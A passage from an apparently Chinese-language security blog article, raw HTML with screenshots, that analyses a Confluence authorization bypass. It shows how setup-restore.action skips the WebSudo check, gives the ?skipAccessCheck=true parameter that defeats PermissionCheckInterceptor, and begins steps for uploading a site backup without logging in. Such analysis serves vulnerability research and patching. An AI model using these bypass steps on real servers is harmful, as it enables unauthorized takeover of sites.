transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="342" data-backw="578" data-imgfileid="100004600" data-ratio="0.592032967032967" width="601.7100219726562" data-type="png" data-w="728" height="356.2300109863281" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=faea0512&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI91ibVmnKGUrhGsochDF8mSJz5cfHYxsVPPKHdCM3mWyRKk7D2noY3a9Q%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">可以看到，</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/json/setup-restore.action</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">不仅访问到了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/setup/</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">下的 action，还绕过了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">DefaultWebSudoManager.matches()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">的二次校验。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 所以在修复版本当中，就为大多数 action 都添加了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">@WebSudoRequired</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，无差别进行二次校验。</span></span><o:page></o:page></section><section style="text-align: left;text-indent: 0pt;font-size: 20pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;margin: 0pt;line-height: 1.6em;"><strong style="letter-spacing: 0.578px;color: rgb(85, 168, 113);font-size: 26px;">4-2. 权限校验2</strong></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">还有一个权限校验的点在 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">PermissionCheckInterceptor</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，其中调用了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ConfluenceActionSupport.isPermitted()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，如果返回为</span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"> </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">true，则表示允许访问；</span></span><span style="font-size: 18px;text-indent: 0pt;letter-spacing: 0.034em;"></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="376" data-backw="578" data-imgfileid="100004602" data-ratio="0.65" width="601.7100219726562" data-type="png" data-w="1080" height="391.0299987792969" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=bcb686fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9NiawlqncickkIKibvVjkNFiak7vy6T0MJwYKw6YYZWu2myePKxM8znwQjA%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ConfluenceActionSupport.isPermitted()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">中，先判断了服务是否已经安装完成，这是肯定的，看 else 分支；<br/>

 如果 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">skipAccessCheck </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">为 true，则略过 if 分支，后面就是返回 true；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 不过 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">skipAccessCheck </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">默认值为 false，所以调用</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ConfluenceActionSupport.isPermitted()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">方法的都会报“没有权限”。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="141" data-backw="578" data-imgfileid="100004603" data-ratio="0.24351851851851852" width="601.7100219726562" data-type="png" data-w="1080" height="146.719970703125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=b41447ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9kb8ecxEJxtSMNMJAv4icuwY8f5tNBIOLkjuBUNZHcVmtER8gafT5ibRg%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">但是重写了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">isPe</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">rmitted()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">方法的、使其返回 true 的 action，就不受限制，例如 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">SetupRestoreAction </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">中重写了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">isPermitted()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">直接返回 true。</span></span><o:page></o:page></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">还有就是 ConfluenceActionSupport 中存在</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">setSkipAccessCheck()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">方法，可以通过修改 skipAccessCheck 为 true 来绕过；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-imgfileid="100004606" data-ratio="0.14738805970149255" width="536.010009765625" data-type="png" data-w="536" height="79.0" src="https://wechat2rss.xlab.app/img-proxy/?k=41349046&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9K7VxsxUc8mtzxp1siaNbEY4Q3Metoheh3s1w9FpL7BzQSZJKdACgrMw%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">例如，admin 包下的</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">viewlanguage.action</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，使用了</span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">PermissionCheckInterceptor </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">拦截器，ConfigureLanguageAction 中没有重写</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">isPermitted()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">方法；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="230" data-backw="578" data-imgfileid="100004605" data-ratio="0.3972222222222222" width="601.7100219726562" data-type="png" data-w="1080" height="238.9100341796875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=bce9c625&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9iasaMkHqGnkyOjnDjic5PgADShO8SCRtUTr3myJLqibS9zoONDk6KvefQ%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">未登录状态下，直接访问</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/json/viewlanguage.action</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">会跳转到登录页面，添加</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">?skipAccessCheck=true</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">则能成功访问。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="408" data-backw="578" data-imgfileid="100004604" data-ratio="0.7048780487804878" width="601.7100219726562" data-type="png" data-w="820" height="424.1300048828125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=75257f3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI95vQodbI8TibbRp3oZJxglOicrxl6v2vMHEeOXC30gFjsNAX9WUZU9C7w%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page></o:page></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">所以两种情况能绕过 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">PermissionCheckInterceptor </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">校验：</span></span></section><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><section style="margin-top: 0pt;margin-bottom: 0pt;text-align: left;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;margin-left: 18pt;text-indent: -18pt;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">重写</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">isPermitted()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">方法，使其返回为 true；</span></span></section></li><li><section style="margin-top: 0pt;margin-bottom: 0pt;text-align: left;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;margin-left: 18pt;text-indent: -18pt;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">不重写</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">isPermitted()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">方法，修改 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">skipAccessCheck </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">为true。</span></span></section><section style="margin-top: 0pt;margin-bottom: 0pt;text-align: left;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;margin-left: 18pt;text-indent: -18pt;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><br/></span></span></section></li></ul><section style="text-align: left;text-indent: 0pt;font-size: 20pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;margin: 0pt;line-height: 1.6em;"><strong style="letter-spacing: 0.578px;color: rgb(85, 168, 113);font-size: 26px;">4-3. 备份文件</strong></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-weight: normal;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><strong style="outline: 0px;font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;color: rgb(59, 85, 171);font-size: 20px;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">下载坑点（错误操作）：</span></strong></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"> 在“备份与恢复”页面创建并下载备份文件，选择备份站点，返回类型也为</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">SITE</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="397" data-backw="578" data-imgfileid="100004610" data-ratio="0.687037037037037" width="601.7100219726562" data-type="png" data-w="1080" height="413.5899658203125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=39ff1457&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9p6n3Rfia4Am9S4TDVwc8hQTbXuXgvyvH4FiaNIvXoY7FOMAAyZmtdcAA%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page></o:page></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">然后修改用户密码，退出登录，POST 请求</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/json/setup-restore.action</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">进行上传，却报错说我们试图在还原一个空间备份，但是我们明明就备份的是站点。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="424" data-backw="578" data-imgfileid="100004607" data-ratio="0.7339331619537275" width="601.7100219726562" data-type="png" data-w="778" height="441.6099853515625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=544ba355&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9nq6iaxMGp8cgsQllq3DREAUDic7utucIKib6y21aSlibTAqsAfDWqsU4Kg%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page></o:page></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">看看代码，英文版报错内容在</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">SetupRestoreAction.validate()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">中出现，进入条件是</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">exportScope</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">类型不为</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ALL</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，而我们的备份文件中是</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">jobScope</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">且值为</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">SITE</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，不在一个频道，自然会报错。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="217" data-backw="578" data-imgfileid="100004608" data-ratio="0.375" width="601.7100219726562" data-type="png" data-w="1080" height="225.8499755859375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c9b4eedf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9flYvwFyPW2ZG24n4kTk6IPkU3RcaD7hymVGyp5luqFc9CfWoFDac8A%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">所以应该找一个</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">exportScope</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">为</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ALL</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">的备份点。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-weight: normal;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><strong style="outline: 0px;font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;color: rgb(59, 85, 171);font-size: 20px;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-size: 18px;font-weight: normal;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;outline: 0px;visibility: visible;"><strong style="font-family: &#34;Helvetica Neue&#34;;text-align: left;text-wrap: wrap;outline: 0px;letter-spacing: 0.544px;color: rgb(59, 85, 171);font-size: 20px;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">下载正确操作：</span></strong></span></strong></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-weight: normal;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><strong style="outline: 0px;font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;color: rgb(59, 85, 171);font-size: 20px;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-size: 18px;font-weight: normal;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;outline: 0px;visibility: visible;"></span></strong></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"> 从</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/admin/backup.action</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">导出备份文件；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

